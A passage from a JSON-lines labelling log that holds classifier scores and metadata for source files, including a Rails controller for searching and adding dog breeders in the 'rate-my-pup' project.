"missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10084, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10084, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:15.239283+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "7319d28f-25ff-48ca-a14c-2fecb7d460a7", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "a04ff8fde2cec8ce5afbbbab0dc5e7a119fd68c84ef1d9d6bcaf17d71e3aaee0", "source_metadata": {"uuid": "7319d28f-25ff-48ca-a14c-2fecb7d460a7", "repo_name": "code-and-effect/effective_datatables", "relative_path": "app/models/effective/effective_datatable/compute.rb", "category": "DATA", "algo_rel_score": 0.8893945217132568, "quality_score": 6.176990032196045, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 1418, "repo_created_at": "2014-04-08T15:43:51.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 134, "forks": 37, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "3b9e4d3a2dd591855d8903b0f91891eb06f8a89d", "size_bytes": 6848, "file_timestamp": 1746640552, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "f98af232e0afdf44e7db2a04fbbb7fa66e394300"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 1418, "repo_created_at": "2014-04-08T15:43:51.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 134, "forks": 37, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "3b9e4d3a2dd591855d8903b0f91891eb06f8a89d", "size_bytes": 6848, "file_timestamp": 1746640552, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "f98af232e0afdf44e7db2a04fbbb7fa66e394300", "url": "https://github.com/code-and-effect/effective_datatables/blob/f98af232e0afdf44e7db2a04fbbb7fa66e394300/app/models/effective/effective_datatable/compute.rb"}, "gpt4o_tokens": 1509, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.0925575743236584, "noise_severity": 0.012135539940552189, "missing_content_severity": 0.010802262095522956, "factual_density": 3.4858338888150544, "pretraining_utility": 0.480893376007414, "math_density": 0.654273043352861, "code_density": 3.8903749334950275, "reasoning_density": 0.7359817992859972, "education_level": 2.6000598003777604, "creative_writing_quality": -0.2159419364261348}, "score_applicability": {"education_level": 0.9988610740587629, "creative_writing_quality": 0.00035859795367385966}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/saasbook/rate-my-pup/blob/9f8556232c44d93fa3e1050d7ff87ea5deda286f/app/controllers/breeders_controller.rb", "id": "ruby-0-fd96f93877894cb2adf62167569249f7", "text": "class BreedersController < ApplicationController\n impressionist\n skip_before_filter :delete_pup_from_session, :except => [:index, :substring_match, :search_name]\n before_filter :set_states, only: [:search_nearer_breeders, :new]\n\n def index\n if request.xhr?\n render :json => Breeder.all\n else\n @breeders = Breeder.all\n end\n end\n\n def search_breeder\n name, limit= params[:name], params[:limit].to_i\n render :json => Breeder.find_by_substring(name, limit)\n end\n\n def search_name\n\n if params[:breeder].present?\n\n search_str = params[:breeder][:name]\n\n @breeder = Breeder.find_by_formatted_string(search_str)\n if !@breeder\n flash[:notice] = \"Sorry, we do not yet have any ratings for #{search_str}\"\n redirect_to root_path and return\n end\n @avg_ratings = @breeder.avg_pup_rating\n @pups = @breeder.all_pups\n @show_text = @breeder.name + ' - ' + @breeder.address\n flash[:notice] = \"#{t(:feedback_flash)}\"\n\n elsif params[:id].present?\n\n @breeder = Breeder.find_by_id(params[:id])\n @avg_ratings = @breeder.avg_pup_rating\n @pups = @breeder.all_pups\n flash[:notice] = \"#{t(:feedback_flash)}\"\n\n else\n\n redirect_to root_path\n\n end\n\n end\n\n\n\n def search_nearer_breeders\n @breeds = Breed.all\n\n end\n\n def nearer_breeders\n\n # Iter 2-2 Breeder location validation (By , )\n @valid_location = true\n # if params[:breeder][:city].present? && params[:breeder][:state] == \"\"\n # @valid_location = false\n # @message = \"Please select a state\"\n # return\n # end\n\n if params[:breeder][:city].present? && params[:breeder][:state] != \"\"\n cities = CS.cities(params[:breeder][:state].downcase, :us).map(&:downcase)\n if !cities.include? params[:breeder][:city].downcase\n @valid_location = false\n @message = \"The city you entered is not a valid city in the selected state\"\n return\n end\n else\n @valid_location = false\n @message = \"Please select both city and state\"\n return\n end\n\n # End for Iter 2-2\n\n # if params[:breeder][:breed_name].present? && params[:breeder][:city].present?\n # @breeders = Breeder.joins(pups: :breed).where(\"breeds.name = ?\", params[:breeder][:breed_name]).near(\"#{params[:breeder][:city]}, #{params[:breeder][:state]}\", params[:breeder][:search_distance])\n # elsif params[:breeder][:breed_name].present?\n # @breeders = Breeder.joins(pups: :breed).where(\"breeds.name = ?\", params[:breeder][:breed_name]).near(\"#{params[:breeder][:state]}\", params[:breeder][:search_distance])\n # elsif params[:breeder][:city].present?\n # @breeders = Breeder.joins(pups: :breed).near(\"#{params[:breeder][:city]}, #{params[:breeder][:state]}\", params[:breeder][:search_distance])\n # else\n # @breeders = Breeder.joins(pups: :breed).near(\"#{params[:breeder][:state]}\", params[:breeder][:search_distance])\n # end\n\n if params[:breeder][:breed_name].present?\n @breeders = Breeder.joins(pups: :breed).where(\"breeds.name = ?\", params[:breeder][:breed_name]).near(\"#{params[:breeder][:city]}, #{params[:breeder][:state]}\", params[:breeder][:search_distance])\n else\n @breeders = Breeder.joins(pups: :breed).near(\"#{params[:breeder][:city]}, #{params[:breeder][:state]}\", params[:breeder][:search_distance])\n end\n @breeders = @breeders.uniq\n end\n\n def new\n\n end\n\n def create\n name, city, state = params[:breeder][:name], params[:breeder][:city], params[:breeder][:state]\n\n # Iter 2-2 Breeder location validation (By , )\n cities = CS.cities(state.downcase, :us).map(&:downcase)\n if state.empty?\n flash[:notice] = \"Please select a state.\"\n redirect_to new_breeder_path and return\n elsif !cities.include? city.downcase\n flash[:notice] = \"The city you entered is not a valid city in the selected state. Please re-enter your infomation.\"\n redirect_to new_breeder_path and return\n end\n #End for Iter 2-2\n breeder, message = Breeder.create!(:name => name, :city => city, :state => state)\n if !breeder\n flash[:message] = message\n end\n flash[:notice] = \"Breeder #{name} has been added to our database!\"\n\n # Iter3-2 ( and )\n # Possible session didn't get delete, if not found dog, then not from edit page\n # do nothing and delete the session\n if session[:pup_id]\n pup = Pup.find_by_id session[:pup_id]\n session.delete :pup_id\n if pup\n pup.breeder = breeder\n pup.save\n flash[:notice] = \"Breeder has been updated!\"\n redirect_to edit_pup_path(pup) and return\n end\n end\n # End Iter3-2\n\n redirect_to new_pup_path(:breeder => {:name => (name+' - '+city+', '+state)})\n end\n\n private\n\n def set_states\n\n @states = ['AL - Alabama', 'AK - Alaska', 'AZ - Arizona', 'AR - Arkansas',\n 'CA - California', 'CO - Colorado', 'CT - Connecticut', 'DE - Delaware',\n 'FL - Florida', 'GA - Georgia', 'HI - Hawaii', 'ID - Idaho',\n 'IL - Illinois', 'IN - Indiana', 'IA - Iowa', 'KS - Kansas',\n 'KY - Kentucky', 'LA - Louisiana', 'ME - Maine', 'MD - Maryland',\n 'MA - Massachusetts', 'MI - Michigan', 'MN - Minnesota', 'MS - Mississippi',\n 'MO - Missouri', 'MT - Montana', 'NE - Nebraska', 'NV - Nevada',\n 'NH - New Hampshire', 'NJ - New Jersey', 'NM - New Mexico', 'NY - New York',\n 'NC - North Carolina', 'ND - North Dakota', 'OH - Ohio', 'OK - Oklahoma',\n 'OR - Oregon', 'PA - Pennsylvania', 'RI - Rhode Island', 'SC -South Carolina',\n 'SD - South Dakota', 'TN - Tennessee', 'TX - Texas', 'UT - Utah',\n 'VT - Vermont', 'VA - Virginia', 'WA - Washington', 'WV - West Virginia',\n 'WI - Wisconsin', 'WY - Wyoming']\n\n end\n\nend\n", "text_preview": "class BreedersController < ApplicationController impressionist skip_before_filter :delete_pup_from_session, :except => [:index, :substring_match, :search_name] before_filter :set_states, only: [:search_nearer_breeders, :new] def index if re", "input_sha256": "3b6d000360e0f0da140d69099dccfc5a043183b0de90af0f2b5586a4eab17299", "text_sha256": "fd96f93877894cb2adf62167569249f7e47b307046b5f951e393e9abe630e1bb", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16110, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 0, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.4357523015776507, "noise_severity": 0.29725550389094463, "missing_content_severity": 0.07693249845678575, "factual_density": 3.1299261333799073, "pretraining_utility": 0.26217261508534057, "math_density": 0.01423941321844546, "code_density": 3.9230251011356474, "reasoning_density": 0.6453359564039971, "education_level": 2.1587835195412275, "creative_writing_quality": -0.4302216505411179}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.022499036732691158, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9946723546964914, "secondary": 0.9454446820150991, "tertiary": 0.9689219377361682, "structured_records": 0.2706917879953137, "procedural_steps": 0.0026887690947084656, "worked_solution": 0.0025276056470457824, "contextual_dialogue": 1.1634128266931511e-05, "content_quality": 0.3994536163380321, "noise_severity": 0.7522870800908794, "missing_content_severity": 0.9358895846193452, "factual_density": 0.4559316779772735, "pretraining_utility": 0.5176711706850345, "math_density": 0.9881338223179621, "code_density": 0.9358542509463728, "reasoning_density": 0.4622200363300024, "education_level": 0.7555925538146805, "creative_writing_quality": 0.9982774458420605, "primary_topic": 0.9620679254361927, "secondary_topic": 0.5920524443001276}, "probability_margin": {"primary": 0.9926080311123195, "secondary": 0.9229474641483645, "tertiary": 0.9582084136921645, "education_level": 0.636708786365757, "creative_writing_quality": 0.9978663929833257, "primary_topic": 0.935134723854891, "secondary_topic": 0.29003132607298604}, "raw_probabilities": {"primary": {"Academic Writing": 6.356807931845003e-05, "Content Listing": 0.00010274475864751261, "Creative Writing": 3.146082936775427e-05, "Customer Support Page": 1.4503461883659292e-05, "Q&A Forum": 2.27475677940279e-05, "Discussion Thread": 1.4901568515454062e-05, "Comment Section": 2.435510091089487e-05, "Missing Content": 7.01297134919009e-05, "Knowledge Article": 0.0001100621745938112, "Legal Notices": 5.009712951046128e-05, "News Article": 9.078588286318756e-06, "Organizational Announcement": 2.1095842789228597e-05, "Nonfiction Writing": 2.140235146933401e-05, "Organizational About Page": 2.2311409046474407e-05, "Personal About Page": 2.2043472823392468e-05, "Personal Blog": 1.336655526159822e-05, "Product Page": 1.5158408082960024e-05, "Spam / Ads": 1.7855766682130096e-05, "Structured Data": 0.0016033887268552625, "Technical Writing": 0.9948943399174709, "Transcript / Interview": 2.6739242748089532e-05, "Tutorial / How-To Guide": 0.0005271117519233893, "User Reviews": 1.5228777375398612e-05, "Other / Unknown": 0.0022863088051513613}, "secondary": {"Academic Writing": 0.0003612709674894964, "Content Listing": 0.0038906760655580412, "Creative Writing": 0.00033874839936605297, "Customer Support Page": 0.00018005407109348895, "Q&A Forum": 0.00013166644339764074, "Discussion Thread": 0.00012074639749799724, "Comment Section": 0.0006025453728068949, "Missing Content": 0.0009915160321910302, "Knowledge Article": 0.0007058911066236017, "Legal Notices": 0.00033997483354524926, "News Article": 0.00016869255428626388, "Organizational Announcement": 0.0001716891443965629, "Nonfiction Writing": 0.00020048704829824621, "Organizational About Page": 0.00019000984819875688, "Personal About Page": 0.00015708362389707937, "Personal Blog": 0.00014418020771287733, "Product Page": 0.00010399315973963266, "Spam / Ads": 0.00017362244904522447, "Structured Data": 0.02477035611610551, "Technical Writing": 0.016862878909843608, "Transcript / Interview": 0.0002059742227265185, "Tutorial / How-To Guide": 0.0013771581592490721, "User Reviews": 9.296460246110967e-05, "NONE": 0.94771782026447}, "tertiary": {"Academic Writing": 0.00019985108609980778, "Content Listing": 0.004355570396948417, "Creative Writing": 0.00020804544485434443, "Customer Support Page": 0.00017578612165822173, "Q&A Forum": 8.204704069726807e-05, "Discussion Thread": 7.530883684476588e-05, "Comment Section": 0.0006709761929216646, "Missing Content": 0.0013690113326100344, "Knowledge Article": 0.0008154946512356439, "Legal Notices": 0.00043649804475852914, "News Article": 0.00010336333009299114, "Organizational Announcement": 0.00012088760427674547, "Nonfiction Writing": 0.00019582382201947465, "Organizational About Page": 0.00015499739352574908, "Personal About Page": 0.0001070004831254755, "Personal Blog": 9.601542176030562e-05, "Product Page": 7.249812212664576e-05, "Spam / Ads": 0.0001364583372812017, "Structured Data": 0.012008443304996725, "Technical Writing": 0.00675497504340171, "Transcript / Interview": 0.0001289397016759472, "Tutorial / How-To Guide": 0.0014406661803439203, "User Reviews": 7.448510958322675e-05, "NONE": 0.9702168569971612}, "structured_records": {"false": 0.7293082120046863, "true": 0.2706917879953137}, "procedural_steps": {"false": 0.9973112309052915, "true": 0.0026887690947084656}, "worked_solution": {"false": 0.9974723943529542, "true": 0.0025276056470457824}, "contextual_dialogue": {"false": 0.9999883658717331, "true": 1.1634128266931511e-05}, "content_quality": {"-2": 0.014291484712361887, "-1": 0.1138687099836316, "0": 0.3978534476792494, "1": 0.369768734263508, "2": 0.10421762336124907}, "noise_severity": {"0": 0.7645908144446126, "1": 0.18375816873451534, "2": 0.04364043886397171, "3": 0.0058258543991158256, "4": 0.0021847235577846067}, "missing_content_severity": {"0": 0.9368022100676429, "1": 0.0531480642585093, "2": 0.007284854743119202, "3": 0.001844759010876645, "4": 0.0009201119198520281}, "factual_density": {"0": 0.012524158425077949, "1": 0.03526133694011036, "2": 0.1533827773682276, "3": 0.40742766736299446, "4": 0.39140405990358956}, "pretraining_utility": {"-2": 0.011318006784346196, "-1": 0.13567497647761656, "0": 0.47479214631103583, "1": 0.3359461357223535, "2": 0.04226873470464801}, "math_density": {"0": 0.990941792133072, "1": 0.006601497923100513, "2": 0.0008495326819121471, "3": 0.0004898591161408271, "4": 0.001117318145774543}, "code_density": {"0": 0.00016397821151355315, "1": 0.00034519854992157866, "2": 0.00813725208897443, "3": 0.059008886190584926, "4": 0.9323446849590056}, "reasoning_density": {"0": 0.6434196752474914, "1": 0.13883325863346696, "2": 0.1635172395634384, "3": 0.037451087578759444, "4": 0.016778738976843764}, "education_level": {"none": 0.001660849488729996, "0": 0.001934108039663236, "1": 0.026049822226321434, "2": 0.7963271281789004, "3": 0.15961834181314344, "4": 0.014409750253241534}, "creative_writing_quality": {"not_applicable": 0.9985645382017171, "-2": 0.00019747267312397265, "-1": 0.00040129780002141533, "0": 0.0006981452183913622, "1": 9.841581136882717e-05, "2": 4.013029537728057e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00012837072042764185, "Art & Design": 0.00019673441384665866, "Law & Crime": 0.00011088628206186887, "Education & Careers": 0.00010992110242687465, "Entertainment & Media": 0.00013963563264153547, "Fashion & Beauty": 0.00016866137517072214, "Business, Economics & Finance": 0.0006632983203876034, "Food & Dining": 0.00017550698972235303, "Games & Gaming": 0.00035959600464355014, "Electronics & Hardware": 0.00011777892556967292, "Health, Healthcare & Wellness": 0.00046084968918314013, "History & Geography": 0.00022709996162045994, "Home, Pets & Hobbies": 0.028392127526063467, "Industry & Production": 0.0004309273278478285, "Language, Literature & Philosophy": 7.842883975059216e-05, "Politics & Government": 8.295701646634993e-05, "Religion & Spirituality": 9.645297596070421e-05, "Science, Mathematics & Engineering": 0.00020825042858437474, "Relationships & Community": 0.00014926952339486735, "Software Usage & Applications": 0.000497352783847804, "Programming & Software Engineering": 0.9635268513809545, "Sports & Fitness": 0.00014953853081728653, "Vehicles & Transportation": 6.34999526429445e-05, "Travel & Tourism": 0.0002060005808836558, "Other / Uncovered Subject": 0.0029389578256822386, "Unknown / Insufficient Content": 0.00032104588940126124}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0012492799248865372, "Art & Design": 0.0012358846022042776, "Law & Crime": 0.0009823138359064335, "Education & Careers": 0.0006871318286230044, "Entertainment & Media": 0.001126724684194739, "Fashion & Beauty": 0.0007848803661085238, "Business, Economics & Finance": 0.0025752925766712232, "Food & Dining": 0.0008262765994180109, "Games & Gaming": 0.0010959730771132365, "Electronics & Hardware": 0.0006413161711856635, "Health, Healthcare & Wellness": 0.0020098417506603894, "History & Geography": 0.0028007946453108144, "Home, Pets & Hobbies": 0.31771140883098276, "Industry & Production": 0.0012364669832909347, "Language, Literature & Philosophy": 0.0003795219898865075, "Politics & Government": 0.0006160717023202416, "Religion & Spirituality": 0.0006478694611032757, "Science, Mathematics & Engineering": 0.0007939149596357491, "Relationships & Community": 0.00048193943190143353, "Software Usage & Applications": 0.001830541162910928, "Programming & Software Engineering": 0.04731157705585075, "Sports & Fitness": 0.0006237419892193302, "Vehicles & Transportation": 0.0003540775807212984, "Travel & Tourism": 0.0011181014511653228, "Other / Uncovered Subject": 0.0031363224347599155, "NONE": 0.6077427349039688}}, "probabilities": {"primary": {"Academic Writing": 6.356807931845004e-05, "Content Listing": 0.00010274475864751264, "Creative Writing": 3.146082936775428e-05, "Customer Support Page": 1.4503461883659295e-05, "Q&A Forum": 2.2747567794027904e-05, "Discussion Thread": 1.4901568515454066e-05, "Comment Section": 2.4355100910894878e-05, "Missing Content": 7.012971349190092e-05, "Knowledge Article": 0.00011006217459381123, "Legal Notices": 5.009712951046129e-05, "News Article": 9.078588286318758e-06, "Organizational Announcement": 2.10958427892286e-05, "Nonfiction Writing": 2.1402351469334013e-05, "Organizational About Page": 2.231140904647441e-05, "Personal About Page": 2.204347282339247e-05, "Personal Blog": 1.3366555261598223e-05, "Product Page": 1.5158408082960027e-05, "Spam / Ads": 1.78557666821301e-05, "Structured Data": 0.001603388726855263, "Technical Writing": 0.9948943399174711, "Transcript / Interview": 2.673924274808954e-05, "Tutorial / How-To Guide": 0.0005271117519233894, "User Reviews": 1.5228777375398615e-05, "Other / Unknown": 0.0022863088051513617}, "secondary": {"Academic Writing": 0.0003612709674894964, "Content Listing": 0.0038906760655580412, "Creative Writing": 0.00033874839936605297, "Customer Support Page": 0.00018005407109348895, "Q&A Forum": 0.00013166644339764074, "Discussion Thread": 0.00012074639749799724, "Comment Section": 0.0006025453728068949, "Missing Content": 0.0009915160321910302, "Knowledge Article": 0.0007058911066236017, "Legal Notices": 0.00033997483354524926, "News Article": 0.00016869255428626388, "Organizational Announcement": 0.0001716891443965629, "Nonfiction Writing": 0.00020048704829824621, "Organizational About Page": 0.00019000984819875688, "Personal About Page": 0.00015708362389707937, "Personal Blog": 0.00014418020771287733, "Product Page": 0.00010399315973963266, "Spam / Ads": 0.00017362244904522447, "Structured Data": 0.02477035611610551, "Technical Writing": 0.016862878909843608, "Transcript / Interview": 0.0002059742227265185, "Tutorial / How-To Guide": 0.0013771581592490721, "User Reviews": 9.296460246110967e-05, "NONE": 0.94771782026447}, "tertiary": {"Academic Writing": 0.00019985108609980778, "Content Listing": 0.004355570396948417, "Creative Writing": 0.00020804544485434443, "Customer Support Page": 0.00017578612165822173, "Q&A Forum": 8.204704069726807e-05, "Discussion Thread": 7.530883684476588e-05, "Comment Section": 0.0006709761929216646, "Missing Content": 0.0013690113326100344, "Knowledge Article": 0.0008154946512356439, "Legal Notices": 0.00043649804475852914, "News Article": 0.00010336333009299114, "Organizational Announcement": 0.00012088760427674547, "Nonfiction Writing": 0.00019582382201947465, "Organizational About Page": 0.00015499739352574908, "Personal About Page": 0.0001070004831254755, "Personal Blog": 9.601542176030562e-05, "Product Page": 7.249812212664576e-05, "Spam / Ads": 0.0001364583372812017, "Structured Data": 0.012008443304996725, "Technical Writing": 0.00675497504340171, "Transcript / Interview": 0.0001289397016759472, "Tutorial / How-To Guide": 0.0014406661803439203, "User Reviews": 7.448510958322675e-05, "NONE": 0.9702168569971612}, "structured_records": {"false": 0.7293082120046863, "true": 0.2706917879953137}, "procedural_steps": {"false": 0.9973112309052915, "true": 0.0026887690947084656}, "worked_solution": {"false": 0.9974723943529542, "true": 0.0025276056470457824}, "contextual_dialogue": {"false": 0.9999883658717331, "true": 1.1634128266931511e-05}, "content_quality": {"-2": 0.014291484712361887, "-1": 0.1138687099836316, "0": 0.3978534476792494, "1": 0.369768734263508, "2": 0.10421762336124907}, "noise_severity": {"0": 0.7645908144446124, "1": 0.1837581687345153, "2": 0.0436404388639717, "3": 0.005825854399115825, "4": 0.0021847235577846062}, "missing_content_severity": {"0": 0.9368022100676429, "1": 0.0531480642585093, "2": 0.007284854743119202, "3": 0.001844759010876645, "4": 0.0009201119198520281}, "factual_density": {"0": 0.012524158425077949, "1": 0.03526133694011036, "2": 0.1533827773682276, "3": 0.40742766736299446, "4": 0.39140405990358956}, "pretraining_utility": {"-2": 0.011318006784346196, "-1": 0.13567497647761656, "0": 0.47479214631103583, "1": 0.3359461357223535, "2": 0.04226873470464801}, "math_density": {"0": 0.990941792133072, "1": 0.006601497923100513, "2": 0.0008495326819121471, "3": 0.0004898591161408271, "4": 0.001117318145774543}, "code_density": {"0": 0.00016397821151355315, "1": 0.00034519854992157866, "2": 0.00813725208897443, "3": 0.059008886190584926, "4": 0.9323446849590056}, "reasoning_density": {"0": 0.6434196752474914, "1": 0.13883325863346696, "2": 0.1635172395634384, "3": 0.037451087578759444, "4": 0.016778738976843764}, "education_level": {"none": 0.001660849488729996, "0": 0.001934108039663236, "1": 0.026049822226321434, "2": 0.7963271281789004, "3": 0.15961834181314344, "4": 0.014409750253241534}, "creative_writing_quality": {"not_applicable": 0.9985645382017171, "-2": 0.00019747267312397265, "-1": 0.00040129780002141533, "0": 0.0006981452183913622, "1": 9.841581136882717e-05, "2": 4.013029537728057e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00012837072042764185, "Art & Design": 0.00019673441384665866, "Law & Crime": 0.00011088628206186887, "Education & Careers": 0.00010992110242687465, "Entertainment & Media": 0.00013963563264153547, "Fashion & Beauty": 0.00016866137517072214, "Business, Economics & Finance": 0.0006632983203876034, "Food & Dining": 0.00017550698972235303, "Games & Gaming": 0.00035959600464355014, "Electronics & Hardware": 0.00011777892556967292, "Health, Healthcare & Wellness": 0.00046084968918314013, "History & Geography": 0.00022709996162045994, "Home, Pets & Hobbies": 0.028392127526063467, "Industry & Production": 0.0004309273278478285, "Language, Literature & Philosophy": 7.842883975059216e-05, "Politics & Government": 8.295701646634993e-05, "Religion & Spirituality": 9.645297596070421e-05, "Science, Mathematics & Engineering": 0.00020825042858437474, "Relationships & Community": 0.00014926952339486735, "Software Usage & Applications": 0.000497352783847804, "Programming & Software Engineering": 0.9635268513809545, "Sports & Fitness": 0.00014953853081728653, "Vehicles & Transportation": 6.34999526429445e-05, "Travel & Tourism": 0.0002060005808836558, "Other / Uncovered Subject": 0.0029389578256822386, "Unknown / Insufficient Content": 0.00032104588940126124}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0012492799248865372, "Art & Design": 0.0012358846022042776, "Law & Crime": 0.0009823138359064335, "Education & Careers": 0.0006871318286230044, "Entertainment & Media": 0.001126724684194739, "Fashion & Beauty": 0.0007848803661085238, "Business, Economics & Finance": 0.0025752925766712232, "Food & Dining": 0.0008262765994180109, "Games & Gaming": 0.0010959730771132365, "Electronics & Hardware": 0.0006413161711856635, "Health, Healthcare & Wellness": 0.0020098417506603894, "History & Geography": 0.0028007946453108144, "Home, Pets & Hobbies": 0.31771140883098276, "Industry & Production": 0.0012364669832909347, "Language, Literature & Philosophy": 0.0003795219898865075, "Politics & Government": 0.0006160717023202416, "Religion & Spirituality": 0.0006478694611032757, "Science, Mathematics & Engineering": 0.0007939149596357491, "Relationships & Community": 0.00048193943190143353, "Software Usage & Applications": 0.001830541162910928, "Programming & Software Engineering": 0.04731157705585075, "Sports & Fitness": 0.0006237419892193302, "Vehicles & Transportation": 0.0003540775807212984, "Travel & Tourism": 0.0011181014511653228, "Other / Uncovered Subject": 0.0031363224347599155, "NONE": 0.6077427349039688}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10223, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10223, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:16.881649+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "cafa3c23-2471-436e-a09e-e94f8b0c7916", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "a1b0b197fcd86dd57a67c1691264fad76cd80806452945e5b4e2f70b0369ea12", "source_metadata": {"uuid": "cafa3c23-2471-436e-a09e-e94f8b0c7916", "repo_name": "saasbook/rate-my-pup", "relative_path": "app/controllers/breeders_controller.rb", "category": "WEB", "algo_rel_score": 0.984181821346283, "quality_score": 3.4616236686706543, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 627, "repo_created_at": "2016-02-23T23:38:36.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 4, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "3f60476f06c1d14f62b050f67d1ee3374fded128", "size_bytes": 5931, "file_timestamp": 1558434368, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9f8556232c44d93fa3e1050d7ff87ea5deda286f"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 627, "repo_created_at": "2016-02-23T23:38:36.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 4, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "3f60476f06c1d14f62b050f67d1ee3374fded128", "size_bytes": 5931, "file_timestamp": 1558434368, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9f8556232c44d93fa3e1050d7ff87ea5deda286f", "url": "https://github.com/saasbook/rate-my-pup/blob/9f8556232c44d93fa3e1050d7ff87ea5deda286f/app/controllers/breeders_controller.rb"}, "gpt4o_tokens": 1653, "dataset_split": "ruby", 